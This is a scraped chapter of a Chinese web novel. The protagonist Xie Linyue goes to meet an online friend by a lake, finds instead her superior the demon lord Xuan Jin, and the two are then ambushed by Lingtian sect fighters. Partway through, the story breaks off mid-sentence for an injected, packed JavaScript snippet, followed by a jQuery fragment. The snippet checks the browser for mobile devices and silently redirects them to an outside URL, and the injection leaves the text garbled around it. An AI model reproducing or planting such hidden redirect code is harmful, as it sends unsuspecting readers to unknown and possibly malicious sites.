默认冷灰
24号文字
方正启体

10. 奔现

作者:归晋本书字数:K更新时间:
    轻轻合上身后的门后,谢临月走到房间的正中央,仔细打量了一下房间里的摆设之后,就随意地躺到了床上。


    明明是十分松软的床铺却没能让谢临月感到放松。


    谢临月从床上坐起,把床头的软枕抱在怀里,眼睛呆呆地看向前方,不知道在想些什么。


    一直到夜幕时分,谢临月仍旧保持着同样的姿势。窗外的天色渐渐沉了下来,最后一丝霞光被墨色吞噬。一阵凉意忽然从半掩的窗缝钻进来,顺着衣领滑进脊背,谢临月这才打了个寒颤,缓过神来。


    扔下怀里的软枕后,谢临月走到窗边,手指刚刚摸上窗户,一阵熟悉的声音就从远处传来。


    谢临月关窗的动作顿时僵在了原地,急忙从窗户上探出脑袋,朝着声音传来的方向看去。


    声音似乎是从城东头传来的,明明是很远的距离,那道声音却像是近在咫尺一般,那么清晰。


    谢临月双手扶在窗棂上,目光不由自主地朝着那个声音来源看去身子也逐渐朝着窗外探出。


    回头看了一眼身后紧闭的房门,谢临月思考片刻就从窗户上一跃而下,稳稳地落在了地上。


    夜间的云川城十分喧闹,即使谢临月站在最僻静的后街上,各式各样的声音仍旧能从前面的街道上传来。夜间的云川城正是热闹的时候,前头主街上的叫卖声、丝竹声顺着风飘过来,混着酒楼里的猜拳声,织成一片喧嚣。可奇怪的是,无论周遭多嘈杂,那道埙声始终清晰地浮在最上头,像黑暗里的一盏灯,引着她穿过僻静的后街,一步步朝着城东走去。


    在这种喧闹的环境里,按理来说,是很难分辨出声音的来源,但很神奇的一点就是,那道声音始终能够被谢临月清晰地从里面分辨出来。


    循着声音的来源,谢临月一路朝着城东走去,直到走到城东的湖边才停下了脚步。


    直到湖边的芦苇丛挡住去路,谢临月才停下脚步。她拨开半人高的芦苇,目光越过粼粼波光,落在了湖对岸。


    湖对岸矗立着一座凉亭,在凉亭之上还悬挂着几条白色纱帘,隔着纱帘的缝隙,一名身着白衣的男子就那样静静的依靠在凉亭里的朱红立柱之上,双手捧着一枚通体发黑的陶埙,手指不紧不慢按住一个个音孔。


    时不时有一阵微风从湖面划过,带起微微涟漪之后,又吹起了一角纱帘,露出了男人的半张面容。


    谢临月捏了捏掌心,带着期待的心情拿出了身上放着的玉牌,给玄烬发去了一条消息。


    果不其然,湖对岸的人在谢临月发出消息的瞬间,怔愣了片刻,也放下了手里拿着的陶埙,转而掏出了玉牌。


    男人低下头查看玉牌上的消息,像是似有所感地抬起头,隔着一层纱帘与站在对岸的谢临月遥遥相望。


    半挂在天空的圆月不仅给湖面带来了莹润的光泽,也在男人的身上撒下了淡淡的辉光。


    谢临月抿紧双唇,心脏的跳动不断地加速,连带着玉牌在手里也不断被攥紧。


    就在她不知道该上前还是该再等一等时,对面的人忽然朝着她的方向,轻轻招了招手。对面的男人隔着一层纱帘似乎在朝着这边招了招手,像是在叫自己过去。


    谢临月深呼吸了两下,给自己打了个气,就沿着湖边朝着对岸走去,越接近那座凉亭,心脏的跳动也越来越激烈。


    一直走到凉亭的台阶上时,谢临月都感觉自己的脚步有些虚浮。


    踏入凉亭的那一刻,谢临月紧张的心情也达到了顶峰,索性一鼓作气抬起头就朝着那人看去。


    映入眼帘的先是男人的一袭白衣,再接着就是男人噙着一抹浅笑的唇瓣。


    再往上就是一副面具,那面具黑底描金,遮住了大半张脸,只露出一双眼睛和下颌的线条。


    面具?


    谢临月在看到那副熟悉的面具之后,原本紧张激动的心,此刻似乎静了下来。


    抱有最后一丝侥幸的想法,或许只是同款面具,谢临月开口道:“魔……”


    没等谢临月问出口,一道毛茸茸的身影就从凉亭角落跳了出来,蹭到了谢临月的腿边。


    是玄霜。


    一边蹭,一边还用不满的眼神看向玄烬。


    对此,玄烬只是拿起了玉牌背在了身后,对着谢临月问道:“你不在酒楼里呆着,跑到这里干什么?”


    看着突然出现的玄霜,谢临月彻底静了下来,勉强扯出一抹苦笑回答道:“回禀魔尊,属下只是在酒楼里呆太久,出来透口气。”


    眼前的人不仅不是自己想要见到的人,反而是自己最不想见到的人,谢临月此刻的心情可见不是一般得差,低垂着脑袋也不再看玄烬,只是看着自己的脚边的玄霜撒娇卖萌,指尖无意识地抠着玉牌的边缘。。


    “既然如此,你就陪我走走吧。”说完也不等谢临月回答,迈开步子,玄烬就朝着凉亭外走了出去。


    “早知道就不该出来了。”


    谢临月忍不住嘟囔两句后,就赶忙跟着玄烬走了出去,小心翼翼地跟在玄烬身后不远的地方。


    就在这时,手里的玉牌忽然震动了一下。她低头一看,是那个熟悉的名字发来的消息:“我可能去不了云川城了,抱歉。”


    看到这条消息后,谢临月苦笑两声:“你为什么不早一点发,偏偏现在才发。”


    “抱歉。”对面的人只是一味地抱歉,对自己来不了的原因却不做丝毫解释。


    “算了,这是你的自由。”谢临月愤愤地在上面写下这几行字后,就把手里的玉牌收了回去。


    刚一抬头就看到玄烬紧皱眉头看着手里的玉牌。


    谢临月悄咪咪地靠近两步,就在快要看清玄烬玉牌上的内容时,玄烬却一甩双手,将手里的玉牌笼罩在了宽大的衣袖下面。


    “你想看什么?”玄烬转头看向谢临月问道。


    “属下只是看着魔尊您似乎满面愁容,想来是遇到了什么棘手的事情,所以才想看一看到底是什么事情能引得你如此不快。”谢临月在玄烬转过头的瞬间,立马换上一副对上司关怀备至的表情。


    玄烬看着谢临月的表情,轻笑一声,转过身去说道:“你的任务是照顾好玄霜,教内的事就不需要你管了。”


    玄烬说完之后,一边的玄霜立马就十分应时地叫了两声,像是在安抚。


    谢临月垂了垂眸,将心底的失落压下去,加快脚步,跟上了玄烬的身影。湖面上的风还在吹,只是那婉转的埙声,不知何时已经停了。


    夜风裹着湖水的湿气,吹得谢临月鬓边的碎发贴在脸颊上,有些发痒。她跟在玄烬身后,目光落在他白衣下摆扫过青石板的痕迹上,耳边只有两人一虎的脚步声,还有远处偶尔传来的零星喧嚣,方才那勾人心弦的埙声,像是从未出现过一般,消失得无影无踪。


    “这云川城,倒比魔教那边暖些。”玄烬忽然开口,声音被风吹得有些轻飘。他没有回头,目光落在远处湖面倒映的月影上,那轮圆月在水波里晃荡,像是随时会碎掉。


    谢临月愣了一下,才反应


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16489720|185795||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    过来是在跟自己说话,连忙应道:“是,这里气候湿润,比魔教的风沙要好得多。”


    话一出口,她又觉得不妥——魔域是玄烬的根基,这般对比,倒像是在暗讽魔域环境恶劣。她悄悄抬眼去看玄烬的神色,却见他只是淡淡“嗯”了一声,并未在意。


    两人沿着湖边又走了一段路,玄烬忽然停在一棵老槐树下。树影婆娑,将他的身影遮去大半,只有那双露在面具外的眼睛,在月光下泛着冷光。


    谢临月站在玄烬的身后,看着他的背影忍不住问道:“殿下,你刚刚吹的那首曲子是您自己……”


    还没等谢临月问完,玄烬就打断了她的话,“之前偶然听过的一首曲子,觉得好听,便学了几段。”


    “那您又是在何处听到的呢?”谢临月忍不住追问到。


    “右护法,我不是犯人,你也没必要拿审问犯人的架势来问我吧?”玄烬看向谢临月说道。


    谢临月被玄烬这句话堵得瞬间语塞,指尖下意识蜷缩起来,连带着袖中的玉牌都硌得掌心发疼。她连忙低下头,避开玄烬投来的目光,声音也低了几分:“属下失言,还请魔尊恕罪。”


    空气里顿时陷入沉默,只有湖边的风卷着芦苇叶,发出沙沙的声响。


    玄烬没再说话,只是转身朝着湖岸更深处走去,白衣下摆扫过丛生的杂草,留下一道浅浅的痕迹。


    玄霜不知何时从谢临月脚边跑开,追着玄烬的脚步,时不时用尾巴蹭蹭他的裤腿,像是在缓和这僵硬的气氛。


    就在这时,玄烬脚边的玄霜忽然不安地动了动,朝着湖边的芦苇丛龇了龇牙,发出低低的呜咽声。


    谢临月立刻拔出腰间的短剑,剑身映着月光,泛着冷冽的寒光。她顺着玄霜的目光看去,只见芦苇丛里忽然传来一阵窸窸窣窣的声响,紧接着,几道黑影从里面窜了出来,手里握着弯刀,朝着两人的方向扑来。


    “是凌天宗的人。”玄烬一眼就认出了对方服饰上的标记,语气冷得像冰。


    听到玄烬的话后,谢临月看向那些人,他们身上的服饰花纹的确是自己宗门的样式。


    玄烬将玄霜往谢临月身边一塞,“看好它,别分心。”话音未落,他已纵身跃起,白衣在夜色里划过一道残影,手中不知何时多了一把黑色长剑,朝着黑影刺去。


    黑衣人的弯刀尚未劈到近前,玄烬的身影已如鬼魅般掠出。


    黑色长剑在月光下划出一道冷厉的弧光,“铛”的一声脆响,最先发难的那名黑衣人刀身竟直接被震成两截。断刃飞溅着嵌入芦苇丛,余下的半截刀身从黑衣人颤抖的手中滑落,“哐当”砸在青石板上,惊起一片夜虫的嘶鸣。


    谢临月还未完全握紧剑柄,战局已呈一边倒的态势。


    玄烬白衣翻飞间,长剑如银蛇吐信,每一次起落都精准刺向黑衣人的破绽,动作干脆利落,竟未让对方有半分近身的机会。


    有两名黑衣人试图从两侧包抄,玄烬只侧身避开刀锋,反手一剑便刺穿左侧那人的肩胛骨,同时抬脚踹中右侧那人的膝盖。那人惨叫着跪倒在地,玄烬剑锋一转,剑脊重重磕在他后颈,人瞬间晕厥过去。


    “凌天宗的功夫,竟退步到这般境地。”玄烬的声音冷得像冰,目光扫过剩下的三名黑衣人,带着毫不掩饰的轻蔑。那三人见同伴或伤或晕,脸色骤变,握着弯刀的手不住发抖,竟没了继续上前的勇气。


    谢临月站在原地,看着玄烬独自应对数人却游刃有余的模样,对剩下的几人感到担忧不已。
(←快捷键) <<上一章 投推荐票 回目录 标记书签 下一章>> (快捷键→)